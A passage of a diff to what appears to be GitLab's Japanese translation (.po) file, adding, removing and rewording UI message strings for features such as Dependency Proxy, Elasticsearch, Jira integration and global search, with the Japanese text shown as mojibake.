-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr "ホストキーã®æ¤œå‡º"
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr "ディレクトリå"
msgid "Disable"
msgstr "無効"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "ドメイン"
@@ -12142,9 +12357,6 @@ msgstr "イマイãƒ"
msgid "Draft"
msgstr "ドラフト"
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr "アプリケーションã®ç·¨é›†"
msgid "Edit comment"
msgstr "コメントを編集"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "説明を編集"
@@ -12352,6 +12573,9 @@ msgstr "Elasticsearchã®ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ä½œæˆã®åˆ¶é™"
msgid "Elasticsearch indexing started"
msgstr "Elasticsearchã®ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ä½œæˆã‚’開始ã—ã¾ã—ãŸ"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr "ElasticsearchãŒè¿”ã—ãŸã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã‚³ãƒ¼ãƒ‰: %{status_code}"
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr "ãªã—。インデックスã«åå‰ç©ºé–“ã‚’é¸æŠžã—ã¦ãã ã•ã„"
@@ -12388,6 +12615,9 @@ msgstr "メール通知"
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr "コミッターã‹ã‚‰é€ä¿¡ã™ã‚‹"
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr "メンテナンスモードを有効ã«ã™ã‚‹"
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "匿å化データコレクション機能ã®æœ‰åŠ¹åŒ–ã¾ãŸã¯ç„¡åŠ¹åŒ–"
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr "ジョブ: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "追加ã®ã‚¢ã‚¯ã‚·ãƒ§ãƒ³"
-msgid "EnvironmentsDashboard|More information"
-msgstr "詳細情報"
-
msgid "EnvironmentsDashboard|Remove"
msgstr "削除"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "環境情報ダッシュボードã¯å„プロジェクトã®ç’°å¢ƒæƒ…å ±(パイプラインやアラート状態å«ã‚€) を表示ã—ã¾ã™ã€‚"
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "ã©ã†ã™ã‚Œã°è§£æ±ºã§ãã¾ã™ã‹ï¼Ÿ"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr "空ã®ã¾ã¾ã«ã—ãŸå ´åˆã€ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã®æ—¥ä»˜ã‚’継承ã—ã¾ã™"
@@ -13190,9 +13426,6 @@ msgstr "アイテムを並ã¹ã¦ã„ã‚‹é–“ã«ä½•ã‹å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "エピックã‹ã‚‰ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’削除ã—ã¦ã‚‹é–“ã«ä½•ã‹å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "ã“れらã®æ—¥ä»˜ã¯ã€ã‚ãªãŸã®ã‚¨ãƒ”ックãŒãƒ­ãƒ¼ãƒ‰ãƒžãƒƒãƒ—ã«ã©ã®ã‚ˆã†ã«è¡¨ç¤ºã•ã‚Œã‚‹ã‹ã«å½±éŸ¿ã—ã¾ã™ã€‚マイルストーンã®æ—¥ä»˜ã¯ã€ã‚¨ãƒ”ックã®ã‚¤ã‚·ãƒ¥ãƒ¼ã«å‰²ã‚Šå½“ã¦ã‚‰ã‚ŒãŸãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã«ç”±æ¥ã—ã¾ã™ã€‚日付を修正ã™ã‚‹ã“ã¨ã‚‚ã€å®Œå…¨ã«å‰Šé™¤ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚"
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr "ã“ã®ã‚¨ãƒ”ックã¨ã“ã‚Œå«ã¾ã‚Œã¦ã„ã‚‹å­ã‚¨ãƒ”ックã¯éžå…¬é–‹ã§ã‚ã‚Šã€å°‘ãªãã¨ã‚‚Reporterアクセス権é™ã®ã‚ã‚‹ãƒãƒ¼ãƒ ãƒ¡ãƒ³ãƒãƒ¼ã«ã®ã¿è¡¨ç¤ºã•ã‚Œã¾ã™ã€‚"
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr "除外ãƒãƒªã‚·ãƒ¼:"
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr "マージコミットを除外ã—ã¦ã„ã¾ã™ã€‚%{limit} 件ã®ã‚³ãƒŸãƒƒãƒˆã«åˆ¶é™ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -13830,6 +14060,12 @@ msgstr "プロジェクトを探ã™"
msgid "Explore public groups"
msgstr "公開グループを検索"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -13905,6 +14141,12 @@ msgstr "分類ラベル"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "ラベルãŒåˆ†é¡žã•ã‚Œã¦ã„ãªã„ã¨ãã¯ã€`%{default_label}` ãŒæ—¢å®šã®ãƒ©ãƒ™ãƒ«ã¨ã—ã¦ä½¿ç”¨ã•ã‚Œã¾ã™ã€‚"
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr "ref ã‚’å–å¾—ã§ãã¾ã›ã‚“ã§ã—ãŸ"
msgid "Failed to install."
msgstr "インストールã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr "イシューã®ç§»å‹•ã«å¤±æ•—ã—ã¾ã—ãŸã€‚一ã¤ã®ãƒ©ãƒ™ãƒ«ã—ã‹ä»˜
msgid "Failed to move this issue because target project doesn't exist."
msgstr "ターゲットã®ãƒ—ロジェクトãŒå­˜åœ¨ã—ãªã„ã®ã§ã€ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’移動ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "内部エラーã®ãŸã‚ã€ãƒ©ãƒ™ãƒ«ã‚’昇格ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚管ç†è€…ã«å•ã„åˆã‚ã›ã¦ãã ã•ã„。"
@@ -14098,9 +14346,6 @@ msgstr "ã“ã®ç’°å¢ƒã‚’ä¿è­·ã§ãã¾ã›ã‚“ã§ã—ãŸ"
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr "Zoom ミーティングã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸ"
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "マイルストーンåã§çµžã‚Šè¾¼ã‚€"
@@ -14634,15 +14882,6 @@ msgstr "最åˆã«è¦‹ãŸ"
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "日付を固定"
-
-msgid "Fixed due date"
-msgstr "固定ã•ã‚ŒãŸçµ‚了日"
-
-msgid "Fixed start date"
-msgstr "固定ã•ã‚ŒãŸé–‹å§‹æ—¥"
-
msgid "Fixed:"
msgstr "固定:"
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "既存ã®ãƒ—ロジェクトã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚°ã‚¨ãƒ³ãƒˆãƒªã‚’削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr "既存ã®ã‚¢ãƒƒãƒ—ロードã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚°ã‚¨ãƒ³ãƒˆãƒªã‚’削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "プロジェクト(%{project_id})ã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚°ã‚¨ãƒ³ãƒˆãƒªãŒæ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr "アップロード (%{type}/%{id}) ã®ãŸã‚ã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚°ã‚¨ãƒ³ãƒˆãƒªãŒæ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab ã®ã‚³ãƒŸãƒƒãƒˆ"
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr "グローãƒãƒ« ショートカット"
msgid "Global notification settings"
msgstr "グローãƒãƒ«é€šçŸ¥è¨­å®š"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "戻る"
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr "ã‚ãªãŸãŒç®¡ç†ã§ãるグループã«ã®ã¿ã€ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—を転é€ã§ãã¾ã™ã€‚"
@@ -16525,7 +16836,7 @@ msgid "Groups to synchronize"
msgstr ""
msgid "GroupsDropdown|Frequently visited"
-msgstr "よã使ã†ãƒ—ロジェクト"
+msgstr "よã使ã†ã‚°ãƒ«ãƒ¼ãƒ—"
msgid "GroupsDropdown|Groups you visit often will appear here"
msgstr "よã使ã†ã‚°ãƒ«ãƒ¼ãƒ—ã¯ã“ã“ã«è¡¨ç¤ºã•ã‚Œã¾ã™"
@@ -16668,7 +16979,10 @@ msgstr "リãƒã‚¸ãƒˆãƒªã‚¹ãƒˆãƒ¬ãƒ¼ã‚¸ãƒ‘スã®ãƒãƒƒã‚·ãƒ¥"
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr "ヘッダーメッセージ"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr "よã†ã“ã%{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr "識別å­"
msgid "Identities"
msgstr "ID"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr "通知メールã®æœ¬æ–‡ã«ä½œæˆè€…ã®åå‰ã‚’å«ã‚ã‚‹"
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr "マージリクエストã®èª¬æ˜Žã‚’å«ã‚ã‚‹"
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "é–“éš”ã®ãƒ‘ターン"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,8 +18872,8 @@ msgstr "ログインIDã¾ãŸã¯ãƒ‘スワードãŒç„¡åŠ¹ã§ã™ã€‚"
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
-msgstr "PIN コードãŒé–“é•ã£ã¦ã„ã¾ã™ã€‚"
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr ""
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr "イシューイベント"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr "ã„ãã¤ã‹ã®ãƒœãƒ¼ãƒ‰ã¯éžè¡¨ç¤ºã«ãªã£ã¦ã„ã¾ã™ã€‚å†åº¦è¡¨ç¤º
msgid "IssueBoards|Switch board"
msgstr "ボードを切り替ãˆã‚‹"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "カスタムイシュートラッカー"
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr "イシュー"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr "イシューレートリミット"
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr "イシューã¨ã¯ãƒã‚°ã€ã‚¿ã‚¹ã‚¯ã€ã¾ãŸã¯è­°è«–ã®å¿…è¦ãªã‚¢ã‚¤
msgid "Issues closed"
msgstr "クローズã—ãŸã‚¤ã‚·ãƒ¥ãƒ¼"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr "1月"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "%{noteable_model_name} イベントã¯ç„¡åŠ¹ã§ã™ã€‚"
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr "JIRA APIã®URL"
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr "グループレベルプロジェクトテンプレートã®è©³ç´°"
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
